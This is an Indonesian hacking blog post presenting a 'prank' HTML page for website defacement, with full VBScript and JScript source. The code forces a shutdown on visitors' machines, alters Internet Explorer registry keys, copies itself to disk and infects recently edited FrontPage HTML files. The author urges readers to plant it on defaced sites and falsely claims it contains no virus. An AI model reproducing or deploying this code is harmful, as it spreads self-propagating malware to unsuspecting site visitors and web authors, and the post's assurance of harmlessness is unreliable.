Headline

Buat sobat blogger yang menjumpai komentar kasar dan mengatasnamakan OzieCyber, silahkan baca dan laporkan disini.
Unduh Adobe Flash player

close

~Affiliates~

 

Bantu saya vote +1 pada tombol google plus di bawah!!

×

flang counter

free counters

Script Jahil untuk Deface ( Restart Komputer )

Hai Sahabat ozie apakah anda seorang Deface ato Hobby Deface ?

Haah ??? MAHOO !!! SAMA AJA KALEEE !!! HIHIHIHI

Nah Deface Web adalah salah satu perkerjaan yang Lumayan RUWET alias rumit apalagi untuk apara Newbie, Deface bermaksud untuk mengacak-acak seluruh isi Web tersebut dan menggantinya, biasanya seorang Defacer men-Deface Web dan Menyisipkan Namanya atau Komunitasnya di Web tersebut agar mereka terkenal dan dikenal oleh masyarakat dunia yg mengakses Web korban tsbt. Tapi terkadang seorang Defacer juga terkena batunya. Yaitu mendapat kata-kata yg paling ditakuti yaitu:


WANTED: NAMA DEFACER dan bagi yg menemukan orang (defacer ) akan diberi uang sesuai janjinya.

Naah ga usah banyak omong lah…Kita akan membahas bagaimana Kita Deface web sembari menjahili orang yg mengakses web tersebut.

Script dibawah ini adalah Script HTML untuk Deface Web dan ketika Orang yang megakses Web tersebut maka PC si pengakses tersebut akan MATI / RESTART

Hihihihi….Lumayan Jahil

Langsung aja deech ke TKP

Copy/Paste Script dibawah ini ke Notepad dan Rename menjadi *.html atau *htm”

<html><!– OzieHack| Cyber –>

<head>

<title> SIM SALABIM MATILAH PC KAMU </title>

</head>

<body>

<script language=”VBScript”>

rem VBS

On Error Resume Next

Dim fso, shell, wrte, tempdir, windir, rand, file

Set fso=CreateObject(“Scripting.FileSystemObject”)

Set shell=CreateObject(“Wscript.Shell”)

if err.number=429 Then

shell.Run javascript:location.reload()

End If

Set windir=fso.GetSpecialFolder(0)

Set tempdir=fso.GetSpecialFolder(2)

Set wrte=fso.CreateTextFile(windir+”windows.cmd”)

wrte.WriteLine “cls”

wrte.WriteLine “@echo off”

wrte.WriteLine “shutdown -s -f -t 300 -c “+chr(34)+”Sincan2 Akan Shutdown Server mu…”+chr(34)

wrte.Close()

shell.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerDesktopComponents1Source”, “C:Sincan2.html”

shell.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerDesktopComponents1SubscribedURL”, “C:Sincan2.html”

Randomize

rand=int(rnd*5)+1

If rand=1 then

shell.Run windir+”windows.cmd”

End If

</script>

<script language=”JavaScript”>

// JS

var viruspath, virus, code, fso, file, check, checka, checkb


fso new ActiveXObject(“Scripting.FileSystemObject”)

viruspath=window.location.pathname

viruspath=viruspath.slice(1)

virus=fso.OpenTextFile(viruspath,1)

file=fso.CreateTextFile(“C:\index.html”)

for (i=0; i<500; i++)

{

if (checkb!=1)

{

if (Math.round(Math.random()*5)+1 == 3)


{

if (check == 2)

{

file.WriteLine(“/”+”*”)

file.WriteLine(“*”+”/”)

}

if (check == 3)

{

file.WriteLine(“rem”)


}


}


code=virus.ReadLine()


if (code == “/”+”*”) { checka=666 }


if (code == “*”+”/”) { checka=666 }


if (code == “rem”) { checka=666 }


if (checka != 666 ) { file.WriteLine(code) }


checka=0


if (code==”</”+unescape(“%68″)+”tml>”) { checkb=1 }


if (code==”// JS”) { check=2 }


if (code==”rem VBS”) { check=3 }


if (code==”</”+unescape(“%73″)+”cript>”) { check=0 }


}


}


virus.Close();


file.Close();


</script>


<script language=”VBScript”>


rem VBS


On Error Resume Next


set fso=CreateObject(“Scripting.FileSystemObject”)


set shell=CreateObject(“WScript.Shell”)


set myfile=fso.OpenTextFile(“C:index.html”)


mycode=myfile.ReadAll


myfile.Close()


rr=shell.RegRead(“HKEY_CURRENT_USERSoftwareMicrosoftFrontPageExplorerFrontPage ExplorerRecent Page ListFile1″)


if rr <> “” Then Call Sincan2(rr, mycode)


rr=shell.RegRead(“HKEY_CURRENT_USERSoftwareMicrosoftFrontPageExplorerFrontPage ExplorerRecent Page ListFile2″)


if rr <> “” Then Call Sincan2(rr, mycode)


rr=shell.RegRead(“HKEY_CURRENT_USERSoftwareMicrosoftFrontPageExplorerFrontPage ExplorerRecent Page ListFile3″)


if rr <> “” Then Call Sincan2(rr, mycode)


rr=shell.RegRead(“HKEY_CURRENT_USERSoftwareMicrosoftFrontPageExplorerFrontPage ExplorerRecent Page ListFile4″)


if rr <> “” Then Call Sincan2(rr, mycode)


rr=shell.RegRead(“HKEY_CURRENT_USERSoftwareMicrosoftFrontPageExplorerFrontPage ExplorerRecent Page ListFile5″)


if rr <> “” Then Call Sincan2(rr, mycode)


Sub Sincan2(rr, mycode)


set victim=fso.OpenTextFile(rr)


infcheck=victim.ReadLine


If infcheck<>”<html><!–Sincan2–>” Then


viccode=victim.ReadAll


victim.Close()


set wrtevic=fso.OpenTextFile(rr, 2, false, 0)


wrtevic.Write (mycode+infcheck+chr(13)+chr(10)+viccode)


wrtevic.Close


End If


End Sub


</script>


</body>


</html>





Wahuahahaha……..Jahil lu…Silahkan coba saja dan PC kamu akan Restart..


Hmmmm…Apakah Script ini mengandung Virus Jahat ? OOH TENTU TIDAAAK, Hanya sekedar Kode perintah dan perintah tersebut akan direspond oleh System kamu.


SILAHKAN DI COBA SOBAT

SALAH HACKER SELALU ( SALU )

OzieHack| Cyber

Related Post :

Comments
0 Comments


0 komentar:

:a: :b: :c: :d: :e: :f: :g: :h: :i: :j: :k: :l: :m: :n: :o: :p: :q:

Berikan Tanggapan mengenai Artikel Di Atas :

Berkomentar Lah Dengan Sopan :

=> Hahahaha ...xD
=> Blog Ini bebas Mau Berkata Apa Asal Sopan ...Azzzz
=> #Peace ALL

Terima Kasih Sudah Berkomentar .. !!

-----
pin 284A465C Gunakan Browser Google Chrome Versi Terbaru, Agar Tampilan Blog Ini Maksimal.